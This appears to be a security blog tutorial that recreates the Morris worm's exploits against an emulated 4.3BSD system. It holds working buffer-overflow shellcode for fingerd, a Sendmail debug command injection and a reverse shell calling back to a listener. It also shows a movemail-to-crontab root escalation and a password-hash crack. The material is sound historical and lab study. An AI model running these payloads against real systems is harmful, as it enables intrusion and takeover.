A Deep Dive into the Morris Worm

2 hours ago 1

This blog is the 10th post in our annual 12 Days of HaXmas series.

A couple of months ago, we paid tribute to the 30th anniversary of the Morris worm by dropping three new modules for it:

  1. A buffer overflow in fingerd(8)
  2. A VAX reverse shell
  3. A command injection in Sendmail’s debug code

All of these vulnerabilities were exploited by the worm in 1988.

In this post, we will dive into the exploit development process for those modules, beginning our journey by building a 4.3BSD system for testing, and completing it by retracing the worm author’s steps to RCE. By the end of this post, it will hopefully become clear how even 30-year-old vulns can still teach us modern-day fundamentals.

Background

Let’s start with a little history on how this strange project came to be. I recall reading about the Morris worm on VX Heaven. It was many years ago, and some of you may still remember that site. Fast-forward to 2018, and I had forgotten about the worm until I had the opportunity to finish Cliff Stoll’s hacker-tracker epic, “The Cuckoo’s Egg.” In the epilogue, Stoll recounts fighting the first internet worm.

Notably, the worm exercised what was arguably the first malicious buffer overflow in the wild. It also exploited a command injection in Sendmail’s debug mode, which was normally used by administrators to debug mail problems. And even beyond the technical, the worm resulted in what was the first conviction under the Computer Fraud and Abuse Act (CFAA)—a precedent with lasting effects today.

Feeling inspired, I began a side project to see whether I could replicate the worm’s exploits using period tools. But first, I needed a system.

Ye olde 4.3BSD: VAX in the modern age

We’ll be doing our work on a “real” 4.3BSD system, but it will be simulated in the SIMH simulator, since it’s hard to find a real VAX-11/780. If you were at DEF CON 17, you had a chance to play with a live one!

I took the liberty of automating the entire build process in Docker, so please make sure you have that first. The manual build process can be found at the Computer History Wiki if you’re curious, but I must warn you that it is tedious.

Don't be surprised when you discover that the Docker environment merely automates expect(1) to automate SIMH to automate ed(1) here documents. After all, ed is the standard editor.

Cloning the repository

First, git clone the repo and cd into it.

wvu@kharak:~$ git clone https://github.com/wvu/ye-olde-bsd Cloning into 'ye-olde-bsd'... remote: Enumerating objects: 11, done. remote: Counting objects: 100% (11/11), done. remote: Compressing objects: 100% (10/10), done. remote: Total 11 (delta 1), reused 11 (delta 1), pack-reused 0 Unpacking objects: 100% (11/11), done. wvu@kharak:~$ cd ye-olde-bsd wvu@kharak:~/ye-olde-bsd:master$ ls -la total 66776 drwxr-xr-x 12 wvu 2075806812 384 Dec 18 12:26 . drwxr-xr-x+ 64 wvu 2075806812 2048 Dec 18 12:26 .. -rw-r--r-- 1 wvu 2075806812 71 Dec 18 12:26 .dockerignore drwxr-xr-x 12 wvu 2075806812 384 Dec 18 12:26 .git -rw-r--r-- 1 wvu 2075806812 33617326 Dec 18 12:26 43.tap.gz -rw-r--r-- 1 wvu 2075806812 1226 Dec 18 12:26 Dockerfile -rw-r--r-- 1 wvu 2075806812 200 Dec 18 12:26 README.md -rw-r--r-- 1 wvu 2075806812 295 Dec 18 12:26 boot.ini -rw-r--r-- 1 wvu 2075806812 4331 Dec 18 12:26 boot42.gz -rw-r--r-- 1 wvu 2075806812 211 Dec 18 12:26 install.ini -rw-r--r-- 1 wvu 2075806812 534149 Dec 18 12:26 miniroot.gz -rwxr-xr-x 1 wvu 2075806812 3499 Dec 18 12:26 setup.exp wvu@kharak:~/ye-olde-bsd:master$ cat README.md # Docker environment for 4.3BSD on VAX ``` docker build -t ye-olde-bsd . docker run -itp 127.0.0.1:25:25 -p 127.0.0.1:79:79 ye-olde-bsd ``` https://github.com/rapid7/metasploit-framework/pull/10700 wvu@kharak:~/ye-olde-bsd:master$

Building 4.3BSD

Next, we need to docker build the image. We'll tag it as ye-olde-bsd for easier access later. You might want to pick a more useful name than I did.

wvu@kharak:~/ye-olde-bsd:master$ docker build -t ye-olde-bsd . Sending build context to Docker daemon 34.17MB [snip] Successfully tagged ye-olde-bsd:latest wvu@kharak:~/ye-olde-bsd:master$

Running 4.3BSD

Now, we can run the simulator with our freshly built 4.3BSD system. We'll forward the ports for fingerd and Sendmail so we can exploit them through SIMH's virtual NAT. Additionally, I'm capping the CPU at 10% with --cpus .1, since the simulator will want to use 100% otherwise. It's a terrible drain on battery!

wvu@kharak:~/ye-olde-bsd:master$ docker run -itp 127.0.0.1:25:25 -p 127.0.0.1:79:79 --cpus .1 ye-olde-bsd [snip] 4.3 BSD UNIX (simh) (console) login: root Dec 18 10:36:49 simh login: ROOT LOGIN console 4.3 BSD UNIX #1: Fri Jun 6 19:55:29 PDT 1986 Would you like to play a game? Don't login as root, use su simh#

Go ahead and log in as root and start familiarizing yourself with the system. If you played the 2 of Diamonds challenge in our recent CTF, you're probably already familiar!

Smashing the stack for fun and nostalgia

If we look at the source for fingerd in /usr/src/etc/fingerd.c, we see a classical stack-based buffer overflow: A 512-byte buffer can be overflowed by gets(3), which reads from standard input and terminates on newline or EOF. The process is run by inetd(8), so no networking code is required in the daemon. This makes it easy for us to test in isolation.

simh# cat /usr/src/etc/fingerd.c [snip] char line[512]; [snip] gets(line); [snip] simh#

So, what gets clobbered after the buffer? In x86, it's typically the saved frame pointer and saved return address, the latter of which we'd need to overwrite to execute code. However, in VAX, there are few extra longwords on the stack before we can reach "EIP" or PC, in our case, and some of those longwords are sensitive to unexpected values.

The section of the stack frame we're interested in looks like this:

+--------------------------+ | Condition handler | +--------------------------+ | Register save mask, etc. | +--------------------------+ | Argument pointer (AP) | +--------------------------+ | Frame pointer (FP) | +--------------------------+ | Program counter (PC) | +--------------------------+

In my testing, I found it safe to zero out the four longwords leading up to the saved PC. Leaving set bits in those longwords could thwart your code execution due to how the ret instruction evaluates the stack frame.

So, we have 512 bytes of data, 16 bytes of stack frame to zero out, and 4 bytes for PC. That means 532 bytes total. The terminating newline can be omitted because we'll hit EOF.

Preparing fingerd for testing

Since fingerd runs via inetd, we can test it directly by sending data to its standard input. However, there is a getpeername(2) call we need to remove when running inetd-less.

Begin by making a copy of fingerd.c, since you don't want to lose the original. We'll be working in /tmp.

simh# cd /tmp simh# cp /usr/src/etc/fingerd.c . simh#

Next, comment out the getpeername(2) conditional. If you're using vi(1), you'll have to save with :wq!, since the file is read-only. Compile fingerd.c with -g (debugging symbols) once you're done.

simh# vi fingerd.c [Using open mode] "fingerd.c" [Read only] 95 lines, 1695 characters /* /getpeername /*if (getpeername(0, &sin, &i) < 0) fatal(argv[0], "getpeername");*/ :wq! "fingerd.c" 95 lines, 1699 characters simh# cc fingerd.c -o fingerd -g simh#

Transferring files the old-school way

Let's generate a test buffer and transfer it with uuencode(1). I'm using Perl out of habit, but feel free to use your language of choice.

0x03 is the bpt or breakpoint instruction in VAX. If we run into it, the debugger will break automatically. It's really helpful while testing! AAAA is our new PC, which you should be intimately familiar with.

wvu@kharak:~$ perl -e 'print "\x03"x512 . "\x00"x16 . "AAAA"' | uuencode sploit.bin | ncat -lv 4444 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444

telnet(1) is one of the few commands on 4.3BSD that will perform a TCP connection to an arbitrary host and port. Let's leverage it with uudecode(1) to download our exploit buffer. We named it sploit.bin with uuencode earlier.

simh# telnet 192.168.1.3 4444 | uudecode Connection closed by foreign host. simh#

Debugging and disassembling with dbx(1)

Most of you are familiar with GDB. Did you know that GDB was based on dbx from BSD? Both are symbolic debuggers with similar command syntaxes, so the transition should be easy for most.

Load fingerd with dbx and set a breakpoint on line 85, which should be a return statement. Run the program with the exploit buffer.

simh# dbx fingerd dbx version 3.21 of 6/5/86 16:40 (monet.Berkeley.EDU). Type 'help' for help. reading symbolic information ... (dbx) stop at 85 [1] stop at 85 (dbx) r < sploit.bin Login name: In real life: ??? [1] stopped in main at line 85 85 return(0); (dbx)

So, I haven't found a way to statically disassemble a binary on 4.3BSD. If you know of a way, please let me know! However, I've been able to achieve the same result by dumping instructions from PC. You can adjust your disassembly by adjusting your breakpoint or changing your offset from PC (riskier because of variable-length instructions).

You can see this in action by dumping 10 instructions from PC.

(dbx) ($pc)/10i 00000361 clrl r0 00000363 ret 00000364 ret 00000365 movab -568(sp),sp 0000036a brw 59 0000036d halt 0000036e halt 0000036f halt 00000370 brb 39c 00000372 pushl 4(ap) (dbx)

Step to the next instruction, which should be our ret. We'll want to stop here to perform our memory analysis.

(dbx) nexti stopped in main at 0x363 00000363 ret (dbx)

Dump 200 longwords from SP to inspect our buffer.

(dbx) ($sp)/200X 7fffe908: 00002084 7fffe940 00000000 00000000 7fffe918: 00002338 00000000 00000079 00000003 7fffe928: 00000004 00000079 00000000 00000000 7fffe938: 00000000 00000000 03030303 03030303 7fffe948: 03030303 03030303 03030303 03030303 7fffe958: 03030303 03030303 03030303 03030303 7fffe968: 03030303 03030303 03030303 03030303 7fffe978: 03030303 03030303 03030303 03030303 7fffe988: 03030303 03030303 03030303 03030303 7fffe998: 03030303 03030303 03030303 03030303 7fffe9a8: 03030303 03030303 03030303 03030303 7fffe9b8: 03030303 03030303 03030303 03030303 7fffe9c8: 03030303 03030303 03030303 03030303 7fffe9d8: 03030303 03030303 03030303 03030303 7fffe9e8: 03030303 03030303 03030303 03030303 7fffe9f8: 03030303 03030303 03030303 03030303 7fffea08: 03030303 03030303 03030303 03030303 7fffea18: 03030303 03030303 03030303 03030303 7fffea28: 03030303 03030303 03030303 03030303 7fffea38: 03030303 03030303 03030303 03030303 7fffea48: 03030303 03030303 03030303 03030303 7fffea58: 03030303 03030303 03030303 03030303 7fffea68: 03030303 03030303 03030303 03030303 7fffea78: 03030303 03030303 03030303 03030303 7fffea88: 03030303 03030303 03030303 03030303 7fffea98: 03030303 03030303 03030303 03030303 7fffeaa8: 03030303 03030303 03030303 03030303 7fffeab8: 03030303 03030303 03030303 03030303 7fffeac8: 03030303 03030303 03030303 03030303 7fffead8: 03030303 03030303 03030303 03030303 7fffeae8: 03030303 03030303 03030303 03030303 7fffeaf8: 03030303 03030303 03030303 03030303 7fffeb08: 03030303 03030303 03030303 03030303 7fffeb18: 03030303 03030303 03030303 03030303 7fffeb28: 03030303 03030303 03030303 03030303 7fffeb38: 03030303 03030303 00000000 00000000 7fffeb48: 00000000 00000000 41414141 0002a900 7fffeb58: 00000003 00000001 7fffeb6c 7fffeb74 7fffeb68: 00000001 7fffeb8c 00000000 7fffeb94 7fffeb78: 7fffeb9b 7fffebaa 7fffebb7 7fffebc1 7fffeb88: 00000000 676e6966 00647265 454d4f48 7fffeb98: 53002f3d 4c4c4548 69622f3d 73632f6e 7fffeba8: 45540068 753d4d52 6f6e6b6e 55006e77 7fffebb8: 3d524553 746f6f72 54415000 652f3d48 7fffebc8: 2f3a6374 2f727375 3a626375 6e69622f 7fffebd8: 73752f3a 69622f72 752f3a6e 6c2f7273 7fffebe8: 6c61636f 73752f3a 6f682f72 3a737473 7fffebf8: 0000002e 00000000 7fffff6c ffffffff 7fffec08: ffffffff 7fffe908 0026b400 80058af8 7fffec18: 8007a140 7fffe830 00000013 00000003 (dbx)

Dump five longwords from FP to inspect our stack frame. Note the zeroed-out longwords. Consult the stack diagram from before, if you're confused.

(dbx) ($fp)/5X 7fffeb40: 00000000 00000000 00000000 00000000 7fffeb50: 41414141 (dbx)

If your offset was correct, you can step through the ret and see if the saved PC was restored.

(dbx) nexti stopped in write at 0x41414141 41414141 escf (dbx)

That's a bingo! Pick a return address from the middle of the buffer. I'll pick 0x7fffea38. Bear in mind that this might not work against the inetd-run fingerd due to a potentially different stack layout.

Download the new exploit buffer with estimated return address.

wvu@kharak:~$ perl -e 'print "\x03"x512 . "\x00"x16 . "\x38\xea\xff\x7f"' | uuencode sploit.bin | ncat -lv 4444 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444

Fire up dbx and start stepping. When you hit the bpt instruction, you can continue with c to verify.

simh# dbx fingerd dbx version 3.21 of 6/5/86 16:40 (monet.Berkeley.EDU). Type 'help' for help. reading symbolic information ... (dbx) stop at 85 [1] stop at 85 (dbx) r < sploit.bin Login name: In real life: ??? [1] stopped in main at line 85 85 return(0); (dbx) nexti stopped in main at 0x363 00000363 ret (dbx) nexti stopped in write at 0x7fffea38 7fffea38 bpt (dbx) c Trace/BPT trap in write at 0x7fffea38 7fffea38 bpt (dbx)

If you hit a bpt instruction, you have RCE. Congrats! Now we just need a payload.

VAX shellcoding for great justice

If you've written x86 shellcode before, VAX shellcode will be a breeze. Think AT&T syntax, though. Sorry.

I'll begin by generating and disassembling the encoder-less bsd/vax/shell_reverse_tcp payload from Metasploit, since writing the shellcode out by hand is rather tedious.

wvu@kharak:~/metasploit-framework:master$ ./msfvenom -p bsd/vax/shell_reverse_tcp lhost=192.168.1.3 > bsd_vax_shell_reverse_tcp.bin [-] No platform was selected, choosing Msf::Module::Platform::BSD from the payload [-] No arch selected, selecting arch: vax from the payload No encoder or badchars specified, outputting raw payload Payload size: 100 bytes wvu@kharak:~/metasploit-framework:master$ gobjdump -Db binary -m vax bsd_vax_shell_reverse_tcp.bin bsd_vax_shell_reverse_tcp.bin: file format binary Disassembly of section .data: 00000000 <.data>: 0: dd 00 pushl $0x0 2: dd 01 pushl $0x1 4: dd 02 pushl $0x2 6: dd 03 pushl $0x3 8: d0 5e 5c movl sp,ap b: bc 8f 61 00 chmk $0x0061 f: d0 50 5a movl r0,r10 12: dd 00 pushl $0x0 14: dd 00 pushl $0x0 16: dd 8f c0 a8 pushl $0x0301a8c0 1a: 01 03 1c: dd 8f 02 00 pushl $0x5c110002 20: 11 5c 22: d0 5e 5b movl sp,r11 25: dd 10 pushl $0x10 27: dd 5b pushl r11 29: dd 5a pushl r10 2b: dd 03 pushl $0x3 2d: d0 5e 5c movl sp,ap 30: bc 8f 62 00 chmk $0x0062 34: d0 00 5b movl $0x0,r11 37: dd 5b pushl r11 39: dd 5a pushl r10 3b: dd 02 pushl $0x2 3d: d0 5e 5c movl sp,ap 40: bc 8f 5a 00 chmk $0x005a 44: f3 02 5b ef aobleq $0x2,r11,0x37 48: dd 8f 2f 73 pushl $0x0068732f 4c: 68 00 4e: dd 8f 2f 62 pushl $0x6e69622f 52: 69 6e 54: d0 5e 5b movl sp,r11 57: dd 00 pushl $0x0 59: dd 00 pushl $0x0 5b: dd 5b pushl r11 5d: dd 03 pushl $0x3 5f: d0 5e 5c movl sp,ap 62: bc 3b chmk $0x3b wvu@kharak:~/metasploit-framework:master$

pushl and movl should be familiar. chmk is much like int 0x80. aobleq is probably the instruction that needs explanation. You can think of it like the loop instruction in x86. There's a limit, index (register), and displacement (jump). We're using it to dup(2) our file descriptors without duplicating code. It's basically a for loop.

The calling convention here is to push the arguments on the stack, then push the number of args, set the argument pointer to the stack pointer, and then perform the system call. Sound familiar? The only thing that's really different is the lack of AP in x86.

The shellcode acts very much like any other reverse shell: Configure a connection with socket(2), connect back to the attacker with connect(2), dup2(2) the socket descriptor across standard input, output, and error, and finally execute /bin/sh with execve(2).

Let's do ourselves a favor and convert this premade shellcode into hex-escaped bytes for our exploit. (The echo is purely for readability.)

wvu@kharak:~/metasploit-framework:master$ echo "$(hexdump -ve '"\\\x" 1/1 "%02x"' bsd_vax_shell_reverse_tcp.bin)" \xdd\x00\xdd\x01\xdd\x02\xdd\x03\xd0\x5e\x5c\xbc\x8f\x61\x00\xd0\x50\x5a\xdd\x00\xdd\x00\xdd\x8f\xc0\xa8\x01\x03\xdd\x8f\x02\x00\x11\x5c\xd0\x5e\x5b\xdd\x10\xdd\x5b\xdd\x5a\xdd\x03\xd0\x5e\x5c\xbc\x8f\x62\x00\xd0\x00\x5b\xdd\x5b\xdd\x5a\xdd\x02\xd0\x5e\x5c\xbc\x8f\x5a\x00\xf3\x02\x5b\xef\xdd\x8f\x2f\x73\x68\x00\xdd\x8f\x2f\x62\x69\x6e\xd0\x5e\x5b\xdd\x00\xdd\x00\xdd\x5b\xdd\x03\xd0\x5e\x5c\xbc\x3b wvu@kharak:~/metasploit-framework:master$

Putting it all together

You might not have noticed it before, but there is some buffer corruption approximately 109 bytes between our shellcode and our fake stack frame. We can fill it with any non-newline character for now. You'll have to trust me (but I hope I'm wrong). It may just need a stack pivot.

Change the 0x03 bpt instruction to a 0x01 nop so we can skip ahead to our shellcode. Download the new exploit buffer.

wvu@kharak:~$ perl -e 'print "\x01"x303 . "\xdd\x00\xdd\x01\xdd\x02\xdd\x03\xd0\x5e\x5c\xbc\x8f\x61\x00\xd0\x50\x5a\xdd\x00\xdd\x00\xdd\x8f\xc0\xa8\x01\x03\xdd\x8f\x02\x00\x11\x5c\xd0\x5e\x5b\xdd\x10\xdd\x5b\xdd\x5a\xdd\x03\xd0\x5e\x5c\xbc\x8f\x62\x00\xd0\x00\x5b\xdd\x5b\xdd\x5a\xdd\x02\xd0\x5e\x5c\xbc\x8f\x5a\x00\xf3\x02\x5b\xef\xdd\x8f\x2f\x73\x68\x00\xdd\x8f\x2f\x62\x69\x6e\xd0\x5e\x5b\xdd\x00\xdd\x00\xdd\x5b\xdd\x03\xd0\x5e\x5c\xbc\x3b" . "A"x109 . "\x00"x16 . "\x38\xea\xff\x7f"' | uuencode sploit.bin | ncat -lv 4444 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444

Set up ncat(1) to catch the shell.

wvu@kharak:~$ ncat -lkv 4444 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444

And directly execute fingerd with the exploit buffer this time.

simh# ./fingerd < sploit.bin Login name: ] In real life: ???

Check your ncat tab or window.

Ncat: Connection from 192.168.1.3. Ncat: Connection from 192.168.1.3:49285. /usr/ucb/whoami root

We've got a shell! It might be helpful to do something like PATH=/bin:/usr/bin:/usr/ucb:/etc; export PATH to make your new shell more usable. You can also use script /dev/null to spawn a PTY.

Let's take a chance and attempt a remote exploit, making an assumption that the stack layout is close enough.

wvu@kharak:~$ perl -e 'print "\x01"x303 . "\xdd\x00\xdd\x01\xdd\x02\xdd\x03\xd0\x5e\x5c\xbc\x8f\x61\x00\xd0\x50\x5a\xdd\x00\xdd\x00\xdd\x8f\xc0\xa8\x01\x03\xdd\x8f\x02\x00\x11\x5c\xd0\x5e\x5b\xdd\x10\xdd\x5b\xdd\x5a\xdd\x03\xd0\x5e\x5c\xbc\x8f\x62\x00\xd0\x00\x5b\xdd\x5b\xdd\x5a\xdd\x02\xd0\x5e\x5c\xbc\x8f\x5a\x00\xf3\x02\x5b\xef\xdd\x8f\x2f\x73\x68\x00\xdd\x8f\x2f\x62\x69\x6e\xd0\x5e\x5b\xdd\x00\xdd\x00\xdd\x5b\xdd\x03\xd0\x5e\x5c\xbc\x3b" . "A"x109 . "\x00"x16 . "\x38\xea\xff\x7f"' | ncat -v 127.0.0.1 79 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Connected to 127.0.0.1:79. Ncat: 532 bytes sent, 0 bytes received in 0.25 seconds. wvu@kharak:~$ Ncat: Connection from 192.168.1.3. Ncat: Connection from 192.168.1.3:49308. /usr/ucb/whoami nobody

Boom, (unprivileged) shell. We'll root the box later.

Mailing shell commands to Sendmail

Historic Sendmail possessed a debug mode for verifying whether mail reached its intended destination. Part of the implementation was shell escape functionality that could be used to run arbitrary commands. Since the commands would be part of the mail message, the headers had to be stripped in order for code execution to proceed cleanly.

We can test this with ncat and a little knowledge of the SMTP protocol. sed(1) is used to clean the mail message.

wvu@kharak:~$ ncat -v 127.0.0.1 25 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Connected to 127.0.0.1:25. 220 simh Sendmail 5.51/5.17 ready at Wed, 18 Dec 85 11:14:07 PST DEBUG 200 Debug set MAIL FROM: queuename: assigned id AA00153, env=17934 setsender() --parseaddr() parseaddr-->17948=: mailer 0 (local), host `', user `test' next=0, flags=0, alias 0 home="", fullname="" 250 ... Sender ok RCPT TO:<"| sed '1,/^$/d' | sh; exit 0"> --parseaddr(<"| sed '1,/^$/d' | sh; exit 0">) parseaddr-->2c980=<"| sed '1,/^$/d' | sh; exit 0">: mailer 0 (local), host `', user `"| sed '1,/^$/d' | sh; exit 0"' next=0, flags=0, alias 0 home="", fullname="" recipient: 2c980=<"| sed '1,/^$/d' | sh; exit 0">: mailer 0 (local), host `', user `"| sed '1,/^$/d' | sh; exit 0"' next=0, flags=10, alias 0 home="", fullname="" 250 <"| sed '1,/^$/d' | sh; exit 0">... Recipient ok DATA 354 Enter mail, end with "." on a line by itself PATH=/bin:/usr/bin:/usr/ucb:/etc export PATH sleep 60 . EOH ----- collected header ----- Return-Path: Received: ?sfrom s .by j (v/Z) id i; b Resent-Date: a Date: a Resent-From: q From: q Full-Name: x Subject: Resent-Message-Id: Message-Id: ---------------------------- SENDALL: mode b, sendqueue: 2c980=<"| sed '1,/^$/d' | sh; exit 0">: mailer 1 (prog), host `', user `| sed '1,/^$/d' | sh; exit 0"' next=0, flags=10, alias 0 home="", fullname="" recipient: 17948=: mailer 0 (local), host `', user `test' next=0, flags=1, alias 0 home="/", fullname="" queueing AA00153 queueing 2c980=<"| sed '1,/^$/d' | sh; exit 0">: mailer 1 (prog), host `', user `| sed '1,/^$/d' | sh; exit 0"' next=17948, flags=10, alias 0 home="", fullname="" 250 Ok <"| sed '1,/^$/d' | sh; exit 0">: mailer 1 (prog), host `', user `| sed '1,/^$/d' | sh; exit 0"' next=17948, flags=10, alias 0 home="", fullname="" disconnect: In 7 Out 6 <"| sed '1,/^$/d' | sh; exit 0">: mailer 1 (prog), host `', user `| sed '1,/^$/d' | sh; exit 0"' next=17948, flags=10, alias 0 home="", fullname="" ====finis: stat 0 e_flags 1 dropenvelope 17934 id= flags=1 QUIT 221 simh closing connection ====finis: stat 0 e_flags 1 dropenvelope 17934 flags=1 ^C wvu@kharak:~$

We can inspect the resulting spool file in the mail queue and also verify that the shell command is executing.

simh# cd /usr/spool/mqueue simh# ls -la total 6 drwxrwxrwt 2 root 512 Dec 18 11:14 ./ drwxr-xr-x 10 root 512 Dec 18 10:36 ../ -rw------- 1 root 55 Dec 18 11:14 dfAA00153 -rw------- 1 root 0 Dec 18 11:14 lfAA00153 -rw------- 1 root 326 Dec 18 11:14 qfAA00153 -rw-r--r-- 1 daemon 157 Dec 18 11:15 syslog -rw-r--r-- 1 daemon 0 Sep 27 1983 syslog.0 -rw-r--r-- 1 daemon 0 Sep 27 1983 syslog.1 -rw-r--r-- 1 daemon 0 Sep 27 1983 syslog.2 -rw-r--r-- 1 daemon 0 Sep 27 1983 syslog.3 -rw-r--r-- 1 daemon 0 Sep 27 1983 syslog.4 -rw-r--r-- 1 daemon 0 Sep 27 1983 syslog.5 -rw-r--r-- 1 daemon 0 Sep 27 1983 syslog.6 -rw-r--r-- 1 daemon 0 Sep 27 1983 syslog.7 -rw-r--r-- 1 root 329 Dec 18 11:15 xfAA00153 simh# cat dfAA00153 PATH=/bin:/usr/bin:/usr/ucb:/etc export PATH sleep 60 simh# ps auxww | grep '^daemon' daemon 159 0.0 0.2 9 7 ? I 0:00 sleep 60 daemon 158 0.0 0.3 27 12 ? I 0:00 sh daemon 156 0.0 0.3 27 12 ? I 0:00 sh -c sed '1,/^$/d' | sh; exit 0 simh#

Our sleep 60 command is sent to /bin/sh, and there are no mail headers in the spool file because sed cleaned them up. Pretty cool!

Emacs movemail exploit from ‘The Cuckoo's Egg’

The hacker in the book used this to root the boxes he shelled. While the events of the book took place on 4.2BSD, we can do the same on 4.3, since I've imported the /usr/src/contrib tree with Emacs source.

Let's perform the attack but with our own vector that doesn't clobber atrun(8).

Preparing a SUID-root movemail

simh# cd /usr/src/contrib/emacs/etc simh# make movemail cc -o movemail -g movemail.c simh# cp movemail /etc simh# chmod 4755 /etc/movemail simh# ls -l /etc/movemail -rwsr-xr-x 1 root 15360 Dec 18 11:20 /etc/movemail* simh#

Exploiting movemail via crontab.local

whoami nobody (umask 0 && /etc/movemail /dev/null /usr/lib/crontab.local) ls -l /usr/lib/crontab.local -rw-rw-rw- 1 root 0 Dec 18 11:22 /usr/lib/crontab.local (echo "* * * * * root cp /bin/sh /tmp && chmod u+s /tmp/sh"; echo "* * * * * root rm -f /usr/lib/crontab.local") > /usr/lib/crontab.local cat /usr/lib/crontab.local * * * * * root cp /bin/sh /tmp && chmod u+s /tmp/sh * * * * * root rm -f /usr/lib/crontab.local ls -l /tmp/sh -rwsr-xr-x 1 root 23552 Dec 18 11:22 /tmp/sh /tmp/sh whoami root ls -l /usr/lib/crontab.local /usr/lib/crontab.local not found

Feel free to read the module and its documentation for more detailed information. With an arbitrary read and write, there are plenty of other vectors to escalate to root. The auxiliary crontab(5) seemed the most straightforward to me.

Bonus: 2 of Diamonds solution (SPOILERS)

This is more of an intended solution than a write-up. Easter eggs are referenced by quotes from “The Cuckoo's Egg.”

msf5 > use exploit/unix/smtp/morris_sendmail_debug msf5 exploit(unix/smtp/morris_sendmail_debug) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 msf5 exploit(unix/smtp/morris_sendmail_debug) > set lhost 192.168.1.3 lhost => 192.168.1.3 msf5 exploit(unix/smtp/morris_sendmail_debug) > run [*] Started reverse TCP double handler on 192.168.1.3:4444 [*] 127.0.0.1:25 - Connecting to sendmail [*] 127.0.0.1:25 - Enabling debug mode and sending exploit [*] 127.0.0.1:25 - Sending: DEBUG [*] 127.0.0.1:25 - Sending: MAIL FROM: [*] 127.0.0.1:25 - Sending: RCPT TO:<"| sed '1,/^$/d' | sh; exit 0"> [*] 127.0.0.1:25 - Sending: DATA [*] 127.0.0.1:25 - Sending: PATH=/bin:/usr/bin:/usr/ucb:/etc [*] 127.0.0.1:25 - Sending: export PATH [*] 127.0.0.1:25 - Sending: sh -c '(sleep 4387|telnet 192.168.1.3 4444|while : ; do sh && break; done 2>&1|telnet 192.168.1.3 4444 >/dev/null 2>&1 &)' [*] 127.0.0.1:25 - Sending: . [*] 127.0.0.1:25 - Sending: QUIT [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo YFSyo34voEAHn2Nx; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket A [*] A: ": Trying...: not found\r\nsh: Connected: not found\r\n" [*] Matching... [*] B is input... [*] Command shell session 1 opened (192.168.1.3:4444 -> 192.168.1.3:49389) at 2018-12-18 13:30:42 -0600 [!] 127.0.0.1:25 - Do NOT type `exit', or else you may lose further shells! [!] 127.0.0.1:25 - Hit ^C to abort the session instead, please and thank you whoami daemon grep hunter /etc/passwd hunter:IE4EHKRqf6Wvo:32765:31:Hunter Hedges:/usr/guest/hunter:/bin/sh cat /usr/spool/mail/hunter From cliff Wed Sep 10 12:34:42 1986 Received: by 2-of-diamonds (5.51/5.17) id AA00579; Wed, 10 Sep 86 12:34:42 PDT Date: Wed, 10 Sep 86 12:34:42 PDT From: cliff (Cliff Stoll) Message-Id: <8610210434.AA00579@2-of-diamonds> To: [email protected] Subject: What do you know about the nesting habits of cuckoos? Status: RO He went looking for your Gnu-Emacs move-mail file.

"What do you know about the nesting habits of cuckoos?" I explained the workings of the Gnu-Emacs security hole.

wvu@kharak:~$ hashcat -ia 3 -m 1500 --force IE4EHKRqf6Wvo ?l?l?l?l?l?l?l?l [snip] IE4EHKRqf6Wvo:msfhack Session..........: hashcat Status...........: Cracked Hash.Type........: descrypt, DES (Unix), Traditional DES Hash.Target......: IE4EHKRqf6Wvo Time.Started.....: Tue Dec 18 13:33:17 2018 (57 secs) Time.Estimated...: Tue Dec 18 13:34:14 2018 (0 secs) Guess.Mask.......: ?l?l?l?l?l?l?l [7] Guess.Queue......: 7/8 (87.50%) Speed.Dev.#2.....: 14603.0 kH/s (823.72ms) @ Accel:1 Loops:1024 Thr:256 Vec:1 Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 836665344/8031810176 (10.42%) Rejected.........: 0/836665344 (0.00%) Restore.Point....: 36864/456976 (8.07%) Candidates.#2....: rywwfou -> vkvcfnd Started: Tue Dec 18 13:31:50 2018 Stopped: Tue Dec 18 13:34:15 2018 wvu@kharak:~$

The hacker apparently didn't like his old passwords—hedges, jaeger, hunter, and benson. He replaced them, one by one, with a single new password, lblhack.

su - hunter Password:msfhack ls -la total 18 drwx------ 2 hunter 512 Nov 6 18:19 . drwxr-xr-x 7 root 512 Nov 6 18:19 .. -rw------- 1 hunter 13 Nov 6 18:19 .history -rws--x--x 1 root 15360 Nov 6 18:19 movemail cat .history who ps -eafg

The intruder, however, entered ps -eafg. Strange. I'd never seen anyone use the g flag.

msf5 exploit(unix/smtp/morris_sendmail_debug) > use exploit/unix/local/emacs_movemail msf5 exploit(unix/local/emacs_movemail) > set session -1 session => -1 msf5 exploit(unix/local/emacs_movemail) > set movemail /usr/guest/hunter/movemail movemail => /usr/guest/hunter/movemail msf5 exploit(unix/local/emacs_movemail) > set verbose true verbose => true msf5 exploit(unix/local/emacs_movemail) > run [*] Setting a sane $PATH: /bin:/usr/bin:/usr/ucb:/etc [*] Current shell is /bin/sh [*] $PATH is /bin:/usr/bin:/usr/ucb:/etc [+] SUID-root /usr/guest/hunter/movemail found [*] Preparing crontab with payload * * * * * root cp /bin/sh /tmp && chmod u+s /tmp/sh * * * * * root rm -f /usr/lib/crontab.local [*] Creating writable /usr/lib/crontab.local [+] Writing crontab to /usr/lib/crontab.local [!] Please wait at least one minute for effect [*] Exploit completed, but no session was created. msf5 exploit(unix/local/emacs_movemail) > sessions -1 [*] Starting interaction with 1... ls -l /tmp/sh -rwsr-xr-x 1 root 23552 Dec 18 11:36 /tmp/sh /tmp/sh whoami root /usr/games/adventure Welcome to adventure!! Would you like instructions? no You are standing at the end of a road before a small brick building. Around you is a forest. A small stream flows out of the building and down a gully. enter building You are inside a building, a well house for a large spring. There are some keys on the ground here. There is a shiny brass lamp nearby. There is food here. There is a bottle of water here. take keys OK take lamp OK leave You're at end of road again. go south You are in a valley in the forest beside a stream tumbling along a rocky bed. go south At your feet all the water of the stream splashes into a 2-inch slit in the rock. 